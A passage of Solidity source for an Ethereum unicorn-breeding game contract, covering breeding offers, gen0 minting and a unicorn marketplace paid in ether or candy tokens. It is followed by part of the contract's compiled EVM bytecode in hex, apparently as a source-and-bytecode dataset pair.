function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
}
contract megaCandyInterface is ERC20 {
function transferFromSystem(address _from, address _to, uint256 _value) public returns (bool);
function burn(address _from, uint256 _value) public returns (bool);
function mint(address _to, uint256 _amount) public returns (bool);
}
contract DividendManagerInterface {
function payDividend() external payable;
}
contract BlackBoxInterface {
function createGen0(uint _unicornId) public payable;
function geneCore(uint _childUnicornId, uint _parent1UnicornId, uint _parent2UnicornId) public payable;
}
contract UnicornTokenInterface {
//ERC721
function balanceOf(address _owner) public view returns (uint256 _balance);
function ownerOf(uint256 _unicornId) public view returns (address _owner);
function transfer(address _to, uint256 _unicornId) public;
function approve(address _to, uint256 _unicornId) public;
function takeOwnership(uint256 _unicornId) public;
function totalSupply() public constant returns (uint);
function owns(address _claimant, uint256 _unicornId) public view returns (bool);
function allowance(address _claimant, uint256 _unicornId) public view returns (bool);
function transferFrom(address _from, address _to, uint256 _unicornId) public;
//specific
function createUnicorn(address _owner) external returns (uint);
// function burnUnicorn(uint256 _unicornId) external;
function getGen(uint _unicornId) external view returns (bytes);
function setGene(uint _unicornId, bytes _gene) external;
function updateGene(uint _unicornId, bytes _gene) external;
function getUnicornGenByte(uint _unicornId, uint _byteNo) external view returns (uint8);
function setName(uint256 _unicornId, string _name ) external returns (bool);
function plusFreezingTime(uint _unicornId) external;
function plusTourFreezingTime(uint _unicornId) external;
function minusFreezingTime(uint _unicornId, uint64 _time) external;
function minusTourFreezingTime(uint _unicornId, uint64 _time) external;
function isUnfreezed(uint _unicornId) external view returns (bool);
function isTourUnfreezed(uint _unicornId) external view returns (bool);
function marketTransfer(address _from, address _to, uint256 _unicornId) external;
}
contract UnicornAccessControl {
UnicornManagementInterface public unicornManagement;
function UnicornAccessControl(address _unicornManagementAddress) public {
unicornManagement = UnicornManagementInterface(_unicornManagementAddress);
unicornManagement.registerInit(this);
}
modifier onlyOwner() {
require(msg.sender == unicornManagement.ownerAddress());
_;
}
modifier onlyManager() {
require(msg.sender == unicornManagement.managerAddress());
_;
}
modifier onlyCommunity() {
require(msg.sender == unicornManagement.communityAddress());
_;
}
modifier onlyTournament() {
require(unicornManagement.isTournament(msg.sender));
_;
}
modifier whenNotPaused() {
require(!unicornManagement.paused());
_;
}
modifier whenPaused {
require(unicornManagement.paused());
_;
}
modifier onlyManagement() {
require(msg.sender == address(unicornManagement));
_;
}
modifier onlyBreeding() {
require(msg.sender == unicornManagement.unicornBreedingAddress());
_;
}
modifier onlyGeneLab() {
require(msg.sender == unicornManagement.geneLabAddress());
_;
}
modifier onlyBlackBox() {
require(msg.sender == unicornManagement.blackBoxAddress());
_;
}
modifier onlyUnicornToken() {
require(msg.sender == unicornManagement.unicornTokenAddress());
_;
}
function isGamePaused() external view returns (bool) {
return unicornManagement.paused();
}
}
contract UnicornBreeding is UnicornAccessControl {
using SafeMath for uint;
//onlyOwner
UnicornTokenInterface public unicornToken; //only on deploy
BlackBoxInterface public blackBox;
event HybridizationAdd(uint indexed unicornId, uint price);
event HybridizationAccept(uint indexed firstUnicornId, uint indexed secondUnicornId, uint newUnicornId);
event HybridizationDelete(uint indexed unicornId);
event FundsTransferred(address dividendManager, uint value);
event CreateUnicorn(address indexed owner, uint indexed unicornId, uint parent1, uint parent2);
event NewGen0Limit(uint limit);
event NewGen0Step(uint step);
event OfferAdd(uint256 indexed unicornId, uint priceEth, uint priceCandy);
event OfferDelete(uint256 indexed unicornId);
event UnicornSold(uint256 indexed unicornId);
event NewSellDividendPercent(uint percentCandy, uint percentCandyEth);
ERC20 public candyToken;
megaCandyInterface public megaCandyToken;
uint public sellDividendPercentCandy = 375; //OnlyManager 4 digits. 10.5% = 1050
uint public sellDividendPercentEth = 375; //OnlyManager 4 digits. 10.5% = 1050
//counter for gen0
uint public gen0Limit = 30000;
uint public gen0Count = 1805;
uint public gen0Step = 1000;
//counter for presale gen0
uint public gen0PresaleLimit = 1000;
uint public gen0PresaleCount = 0;
struct Hybridization{
uint listIndex;
uint price;
// uint second_unicorn_id;
// bool accepted;
bool exists;
}
// Mapping from unicorn ID to Hybridization struct
mapping (uint => Hybridization) public hybridizations;
mapping(uint => uint) public hybridizationList;
uint public hybridizationListSize = 0;
function() public payable {
}
function UnicornBreeding(address _unicornManagementAddress) UnicornAccessControl(_unicornManagementAddress) public {
candyToken = ERC20(unicornManagement.candyToken());
}
function init() onlyManagement whenPaused external {
unicornToken = UnicornTokenInterface(unicornManagement.unicornTokenAddress());
blackBox = BlackBoxInterface(unicornManagement.blackBoxAddress());
megaCandyToken = megaCandyInterface(unicornManagement.candyPowerToken());
}
function makeHybridization(uint _unicornId, uint _price) public {
require(unicornToken.owns(msg.sender, _unicornId));
require(unicornToken.isUnfreezed(_unicornId));
require(!hybridizations[_unicornId].exists);
hybridizations[_unicornId] = Hybridization({
price: _price,
exists: true,
listIndex: hybridizationListSize
});
hybridizationList[hybridizationListSize++] = _unicornId;
emit HybridizationAdd(_unicornId, _price);
}
function acceptHybridization(uint _firstUnicornId, uint _secondUnicornId) whenNotPaused public payable {
require(unicornToken.owns(msg.sender, _secondUnicornId));
require(_secondUnicornId != _firstUnicornId);
require(unicornToken.isUnfreezed(_firstUnicornId) && unicornToken.isUnfreezed(_secondUnicornId));
require(hybridizations[_firstUnicornId].exists);
require(msg.value == unicornManagement.oraclizeFee());
if (hybridizations[_firstUnicornId].price > 0) {
require(candyToken.transferFrom(msg.sender, this, getHybridizationPrice(_firstUnicornId)));
}
plusFreezingTime(_firstUnicornId);
plusFreezingTime(_secondUnicornId);
uint256 newUnicornId = unicornToken.createUnicorn(msg.sender);
// BlackBoxInterface blackBox = BlackBoxInterface(unicornManagement.blackBoxAddress());
blackBox.geneCore.value(unicornManagement.oraclizeFee())(newUnicornId, _firstUnicornId, _secondUnicornId);
emit CreateUnicorn(msg.sender, newUnicornId, _firstUnicornId, _secondUnicornId);
if (hybridizations[_firstUnicornId].price > 0) {
candyToken.transfer(unicornToken.ownerOf(_firstUnicornId), hybridizations[_firstUnicornId].price);
}
emit HybridizationAccept(_firstUnicornId, _secondUnicornId, newUnicornId);
_deleteHybridization(_firstUnicornId);
}
function cancelHybridization (uint _unicornId) public {
require(unicornToken.owns(msg.sender,_unicornId));
require(hybridizations[_unicornId].exists);
_deleteHybridization(_unicornId);
}
function deleteHybridization(uint _unicornId) onlyUnicornToken external {
_deleteHybridization(_unicornId);
}
function _deleteHybridization(uint _unicornId) internal {
if (hybridizations[_unicornId].exists) {
hybridizations[hybridizationList[--hybridizationListSize]].listIndex = hybridizations[_unicornId].listIndex;
hybridizationList[hybridizations[_unicornId].listIndex] = hybridizationList[hybridizationListSize];
delete hybridizationList[hybridizationListSize];
delete hybridizations[_unicornId];
emit HybridizationDelete(_unicornId);
}
}
//Create new 0 gen
function createUnicorn() public payable whenNotPaused returns(uint256) {
require(msg.value == getCreateUnicornPrice());
return _createUnicorn(msg.sender);
}
function createUnicornForCandy() public payable whenNotPaused returns(uint256) {
require(msg.value == unicornManagement.oraclizeFee());
require(candyToken.transferFrom(msg.sender, this, getCreateUnicornPriceInCandy()));
return _createUnicorn(msg.sender);
}
function createPresaleUnicorns(uint _count, address _owner) public payable onlyManager whenPaused returns(bool) {
require(gen0PresaleCount.add(_count) <= gen0PresaleLimit);
uint256 newUnicornId;
address owner = _owner == address(0) ? msg.sender : _owner;
for (uint i = 0; i < _count; i++){
newUnicornId = unicornToken.createUnicorn(owner);
blackBox.createGen0(newUnicornId);
emit CreateUnicorn(owner, newUnicornId, 0, 0);
gen0Count = gen0Count.add(1);
gen0PresaleCount = gen0PresaleCount.add(1);
}
return true;
}
function _createUnicorn(address _owner) private returns(uint256) {
require(gen0Count < gen0Limit);
uint256 newUnicornId = unicornToken.createUnicorn(_owner);
// BlackBoxInterface blackBox = BlackBoxInterface(unicornManagement.blackBoxAddress());
blackBox.createGen0.value(unicornManagement.oraclizeFee())(newUnicornId);
emit CreateUnicorn(_owner, newUnicornId, 0, 0);
gen0Count = gen0Count.add(1);
return newUnicornId;
}
function plusFreezingTime(uint _unicornId) private {
unicornToken.plusFreezingTime(_unicornId);
}
function plusTourFreezingTime(uint _unicornId) onlyTournament public {
unicornToken.plusTourFreezingTime(_unicornId);
}
//change freezing time for megacandy
function minusFreezingTime(uint _unicornId, uint _count) public {
require(megaCandyToken.burn(msg.sender, unicornManagement.subFreezingPrice().mul(_count)));
unicornToken.minusFreezingTime(_unicornId, unicornManagement.subFreezingTime() * uint64(_count));
}
//change tour freezing time for megacandy
function minusTourFreezingTime(uint _unicornId, uint _count) public {
require(megaCandyToken.burn(msg.sender, unicornManagement.subTourFreezingPrice().mul(_count)));
unicornToken.minusTourFreezingTime(_unicornId, unicornManagement.subTourFreezingTime() * uint64(_count));
}
function getHybridizationPrice(uint _unicornId) public view returns (uint) {
return unicornManagement.getHybridizationFullPrice(hybridizations[_unicornId].price);
}
function getEtherFeeForPriceInCandy() public view returns (uint) {
return unicornManagement.oraclizeFee();
}
function getCreateUnicornPriceInCandy() public view returns (uint) {
return unicornManagement.getCreateUnicornFullPriceInCandy();
}
function getCreateUnicornPrice() public view returns (uint) {
return unicornManagement.getCreateUnicornFullPrice();
}
function withdrawTokens() onlyManager public {
require(candyToken.balanceOf(this) > 0);
candyToken.transfer(unicornManagement.walletAddress(), candyToken.balanceOf(this));
}
function transferEthersToDividendManager(uint _value) onlyManager public {
require(address(this).balance >= _value);
DividendManagerInterface dividendManager = DividendManagerInterface(unicornManagement.dividendManagerAddress());
dividendManager.payDividend.value(_value)();
emit FundsTransferred(unicornManagement.dividendManagerAddress(), _value);
}
function setGen0Limit() external onlyCommunity {
require(gen0Count == gen0Limit);
gen0Limit = gen0Limit.add(gen0Step);
emit NewGen0Limit(gen0Limit);
}
////MARKET
struct Offer{
uint marketIndex;
uint priceEth;
uint priceCandy;
bool exists;
}
// Mapping from unicorn ID to Offer struct
mapping (uint => Offer) public offers;
// Mapping from unicorn ID to offer ID
// mapping (uint => uint) public unicornOffer;
// market index => offerId
mapping(uint => uint) public market;
uint public marketSize = 0;
function sellUnicorn(uint _unicornId, uint _priceEth, uint _priceCandy) public {
require(unicornToken.owns(msg.sender, _unicornId));
require(!offers[_unicornId].exists);
offers[_unicornId] = Offer({
priceEth: _priceEth,
priceCandy: _priceCandy,
exists: true,
marketIndex: marketSize
});
market[marketSize++] = _unicornId;
emit OfferAdd(_unicornId, _priceEth, _priceCandy);
}
function buyUnicornWithEth(uint _unicornId) public payable {
require(offers[_unicornId].exists);
uint price = offers[_unicornId].priceEth;
//Выставлять на продажу за 0 можно. Но нужно проверить чтобы и вторая цена также была 0
if (price == 0) {
require(offers[_unicornId].priceCandy == 0);
}
require(msg.value == getOfferPriceEth(_unicornId));
address owner = unicornToken.ownerOf(_unicornId);
emit UnicornSold(_unicornId);
//deleteoffer вызовется внутри transfer
unicornToken.marketTransfer(owner, msg.sender, _unicornId);
owner.transfer(price);
}
function buyUnicornWithCandy(uint _unicornId) public {
require(offers[_unicornId].exists);
uint price = offers[_unicornId].priceCandy;
//Выставлять на продажу за 0 можно. Но нужно проверить чтобы и вторая цена также была 0
if (price == 0) {
require(offers[_unicornId].priceEth == 0);
}
address owner = unicornToken.ownerOf(_unicornId);
if (price > 0) {
require(candyToken.transferFrom(msg.sender, this, getOfferPriceCandy(_unicornId)));
candyToken.transfer(owner, price);
}
emit UnicornSold(_unicornId);
//deleteoffer вызовется внутри transfer
unicornToken.marketTransfer(owner, msg.sender, _unicornId);
}
function revokeUnicorn(uint _unicornId) public {
require(unicornToken.owns(msg.sender, _unicornId));
require(offers[_unicornId].exists);
_deleteOffer(_unicornId);
}
function deleteOffer(uint _unicornId) onlyUnicornToken external {
_deleteOffer(_unicornId);
}
function _deleteOffer(uint _unicornId) internal {
if (offers[_unicornId].exists) {
offers[market[--marketSize]].marketIndex = offers[_unicornId].marketIndex;
market[offers[_unicornId].marketIndex] = market[marketSize];
delete market[marketSize];
delete offers[_unicornId];
emit OfferDelete(_unicornId);
}
}
function getOfferPriceEth(uint _unicornId) public view returns (uint) {
return offers[_unicornId].priceEth.add(valueFromPercent(offers[_unicornId].priceEth, sellDividendPercentEth));
}
function getOfferPriceCandy(uint _unicornId) public view returns (uint) {
return offers[_unicornId].priceCandy.add(valueFromPercent(offers[_unicornId].priceCandy, sellDividendPercentCandy));
}
function setSellDividendPercent(uint _percentCandy, uint _percentEth) public onlyManager {
//no more then 25%
require(_percentCandy < 2500 && _percentEth < 2500);
sellDividendPercentCandy = _percentCandy;
sellDividendPercentEth = _percentEth;
emit NewSellDividendPercent(_percentCandy, _percentEth);
}
//1% - 100, 10% - 1000 50% - 5000
function valueFromPercent(uint _value, uint _percent) internal pure returns (uint amount) {
uint _amount = _value.mul(_percent).div(10000);
return (_amount);
}
}
|
0x606060405260043610610225576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630422ddf3146102275780631327d383146102545780631ed378a11461029d5780632394a797146102d457806323d9ea801461030057806328861d221461033757806329cf90f31461036e5780632cf42a6c146103a3578063317ffcf2146103c6578063383a194c146103ef5780633900f8f61461040757806339dad8f5146104335780633ae50ce71461045f57806352fa1ac2146104ae578063544447bb146104cc57806367ae9e8f14610521578063699f0c721461055857806374268ff21461058f5780637cd022d4146105b25780638091fbe1146105db5780638a72ea6a146106045780638d8d50d0146106545780638d8f2adb146106725780638dca7a01146106875780638fe2eb9e146106dc578063a63f5e2a14610708578063af40ce201461075d578063b30387a414610780578063b93c7d42146107a9578063bd1723e5146107d2578063c7024b9814610827578063d029a5301461084a578063d03e9fff1461086d578063d224c3e014610890578063da9287d1146108b9578063de763a40146108da578063e1c7392a14610903578063e515a4d114610918578063e5a0741914610941578063eb1bb9d91461096a578063eb56105d14610993578063ec7bb2ac146109bc578063ee81f57c146109d1578063ff394153146109fa578063ff8028b314610a1d575b005b341561023257600080fd5b61023a610a72565b604051808215151515815260200191505060405180910390f35b341561025f57600080fd5b6102756004808035906020019091905050610b14565b6040518084815260200183815260200182151515158152602001935050505060405180910390f35b34156102a857600080fd5b6102be6004808035906020019091905050610b4b565b6040518082815260200191505060405180910390f35b34156102df57600080fd5b6102fe6004808035906020019091908035906020019091905050610c10565b005b341561030b57600080fd5b6103216004808035906020019091905050610ea7565b6040518082815260200191505060405180910390f35b341561034257600080fd5b6103586004808035906020019091905050610efa565b6040518082815260200191505060405180910390f35b341561037957600080fd5b6103a16004808035906020019091908035906020019091908035906020019091905050610f12565b005b34156103ae57600080fd5b6103c46004808035906020019091905050611110565b005b34156103d157600080fd5b6103d9611231565b6040518082815260200191505060405180910390f35b61040560048080359060200190919050506112d3565b005b341561041257600080fd5b6104316004808035906020019091908035906020019091905050611586565b005b341561043e57600080fd5b61045d6004808035906020019091908035906020019091905050611874565b005b610494600480803590602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611b62565b604051808215151515815260200191505060405180910390f35b6104b6611f71565b6040518082815260200191505060405180910390f35b34156104d757600080fd5b6104df6121f1565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561052c57600080fd5b6105426004808035906020019091905050612217565b6040518082815260200191505060405180910390f35b341561056357600080fd5b610579600480803590602001909190505061222f565b6040518082815260200191505060405180910390f35b341561059a57600080fd5b6105b06004808035906020019091905050612282565b005b34156105bd57600080fd5b6105c5612362565b6040518082815260200191505060405180910390f35b34156105e657600080fd5b6105ee612368565b6040518082815260200191505060405180910390f35b341561060f57600080fd5b610625600480803590602001909190505061236e565b604051808581526020018481526020018381526020018215151515815260200194505050505060405180910390f35b61065c6123ab565b6040518082815260200191505060405180910390f35b341561067d57600080fd5b610685612477565b005b341561069257600080fd5b61069a612876565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156106e757600080fd5b610706600480803590602001909190803590602001909190505061289b565b005b341561071357600080fd5b61071b6129dd565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561076857600080fd5b61077e6004808035906020019091905050612a03565b005b341561078b57600080fd5b610793612b24565b6040518082815260200191505060405180910390f35b34156107b457600080fd5b6107bc612b2a565b6040518082815260200191505060405180910390f35b34156107dd57600080fd5b6107e5612b30565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561083257600080fd5b6108486004808035906020019091905050612b56565b005b341561085557600080fd5b61086b6004808035906020019091905050612c36565b005b341561087857600080fd5b61088e600480803590602001909190505061309b565b005b341561089b57600080fd5b6108a361321b565b6040518082815260200191505060405180910390f35b6108d86004808035906020019091908035906020019091905050613221565b005b34156108e557600080fd5b6108ed613bc1565b6040518082815260200191505060405180910390f35b341561090e57600080fd5b610916613c63565b005b341561092357600080fd5b61092b613ff7565b6040518082815260200191505060405180910390f35b341561094c57600080fd5b610954613ffd565b6040518082815260200191505060405180910390f35b341561097557600080fd5b61097d614003565b6040518082815260200191505060405180910390f35b341561099e57600080fd5b6109a6614009565b6040518082815260200191505060405180910390f35b34156109c757600080fd5b6109cf61400f565b005b34156109dc57600080fd5b6109e461414d565b6040518082815260200191505060405180910390f35b3415610a0557600080fd5b610a1b60048080359060200190919050506141ef565b005b3415610a2857600080fd5b610a30614505565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635c975abb6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1515610af857600080fd5b5af11515610b0557600080fd5b50505060405180519050905090565b600c6020528060005260406000206000915090508060000154908060010154908060020160009054906101000a900460ff16905083565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e8474230600c6000858152602001908152602001600020600101546040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b1515610bf257600080fd5b5af11515610bff57600080fd5b505050604051805190509050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663818d4b5d33846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515610cd457600080fd5b5af11515610ce157600080fd5b505050604051805190501515610cf657600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663cbde2ff0836040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b1515610d8657600080fd5b5af11515610d9357600080fd5b505050604051805190501515610da857600080fd5b600c600083815260200190815260200160002060020160009054906101000a900460ff16151515610dd857600080fd5b606060405190810160405280600e54815260200182815260200160011515815250600c6000848152602001908152602001600020600082015181600001556020820151816001015560408201518160020160006101000a81548160ff02191690831515021790555090505081600d6000600e600081548092919060010191905055815260200190815260200160002081905550817f84abd4d356237b35dfca5b88dc4e394c7e9f4cb3b214adcabfabdc6fe1f5f76c826040518082815260200191505060405180910390a25050565b6000610ef3610ece600f60008581526020019081526020016000206002015460055461452b565b600f60008581526020019081526020016000206002015461456190919063ffffffff16565b9050919050565b60106020528060005260406000206000915090505481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663818d4b5d33856040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515610fd657600080fd5b5af11515610fe357600080fd5b505050604051805190501515610ff857600080fd5b600f600084815260200190815260200160002060030160009054906101000a900460ff1615151561102857600080fd5b608060405190810160405280601154815260200183815260200182815260200160011515815250600f600085815260200190815260200160002060008201518160000155602082015181600101556040820151816002015560608201518160030160006101000a81548160ff02191690831515021790555090505082601060006011600081548092919060010191905055815260200190815260200160002081905550827f13e4d00e26244f0e870ff787588c0980bf9d98eb39577648b77788542f19292a8383604051808381526020018281526020019250505060405180910390a2505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663818d4b5d33836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15156111d457600080fd5b5af115156111e157600080fd5b5050506040518051905015156111f657600080fd5b600c600082815260200190815260200160002060020160009054906101000a900460ff16151561122557600080fd5b61122e8161457f565b50565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636a96c63e6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15156112b757600080fd5b5af115156112c457600080fd5b50505060405180519050905090565b600080600f600084815260200190815260200160002060030160009054906101000a900460ff16151561130557600080fd5b600f6000848152602001908152602001600020600101549150600082141561134d576000600f60008581526020019081526020016000206002015414151561134c57600080fd5b5b6113568361222f565b3414151561136357600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636352211e846040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b15156113f357600080fd5b5af1151561140057600080fd5b505050604051805190509050827f4061e21996e5679778d872d5b99ef37970aa24194d370815ff0e224e58dff1a460405160405180910390a2600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663bcf0dd8e8233866040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b151561153157600080fd5b5af1151561153e57600080fd5b5050508073ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050151561158157600080fd5b505050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639dc29fac33611672846000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166373def2b76040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151561164d57600080fd5b5af1151561165a57600080fd5b505050604051805190506146c290919063ffffffff16565b6040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15156116f657600080fd5b5af1151561170357600080fd5b50505060405180519050151561171857600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16634a3a92f683836000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639ea764756040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15156117dc57600080fd5b5af115156117e957600080fd5b50505060405180519050026040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018267ffffffffffffffff1667ffffffffffffffff16815260200192505050600060405180830381600087803b151561186057600080fd5b5af1151561186d57600080fd5b5050505050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639dc29fac33611960846000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636b308ee76040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151561193b57600080fd5b5af1151561194857600080fd5b505050604051805190506146c290919063ffffffff16565b6040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15156119e457600080fd5b5af115156119f157600080fd5b505050604051805190501515611a0657600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a60b8aa983836000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166392491f216040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1515611aca57600080fd5b5af11515611ad757600080fd5b50505060405180519050026040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018267ffffffffffffffff1667ffffffffffffffff16815260200192505050600060405180830381600087803b1515611b4e57600080fd5b5af11515611b5b57600080fd5b5050505050565b6000806000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663cf73a1bc6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1515611bec57600080fd5b5af11515611bf957600080fd5b5050506040518051905073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611c3c57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635c975abb6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1515611cc057600080fd5b5af11515611ccd57600080fd5b505050604051805190501515611ce257600080fd5b600a54611cfa87600b5461456190919063ffffffff16565b11151515611d0757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614611d415784611d43565b335b9150600090505b85811015611f6457600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ce5a5df7836040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1515611e0e57600080fd5b5af11515611e1b57600080fd5b505050604051805190509250600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16631a9caab9846040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b1515611eb757600080fd5b5af11515611ec457600080fd5b505050828273ffffffffffffffffffffffffffffffffffffffff167f51b6670023a2e348a2cb6b181f6ceed38b9ca16e2a416c7f437722cda97264d0600080604051808381526020018281526020019250505060405180910390a3611f35600160085461456190919063ffffffff16565b600881905550611f516001600b5461456190919063ffffffff16565b600b819055508080600101915050611d4a565b6001935050505092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635c975abb6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1515611ff757600080fd5b5af1151561200457600080fd5b5050506040518051905015151561201a57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16634c6226fc6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151561209e57600080fd5b5af115156120ab57600080fd5b50505060405180519050341415156120c257600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd333061210a61414d565b6040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15156121c157600080fd5b5af115156121ce57600080fd5b5050506040518051905015156121e357600080fd5b6121ec336146fd565b905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d6020528060005260406000206000915090505481565b600061227b612256600f60008581526020019081526020016000206001015460065461452b565b600f60008581526020019081526020016000206001015461456190919063ffffffff16565b9050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635abaaa016040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151561230657600080fd5b5af1151561231357600080fd5b5050506040518051905073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561235657600080fd5b61235f8161499f565b50565b600a5481565b600b5481565b600f6020528060005260406000206000915090508060000154908060010154908060020154908060030160009054906101000a900460ff16905084565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635c975abb6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151561243157600080fd5b5af1151561243e57600080fd5b5050506040518051905015151561245457600080fd5b61245c611231565b3414151561246957600080fd5b612472336146fd565b905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663cf73a1bc6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15156124fb57600080fd5b5af1151561250857600080fd5b5050506040518051905073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561254b57600080fd5b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff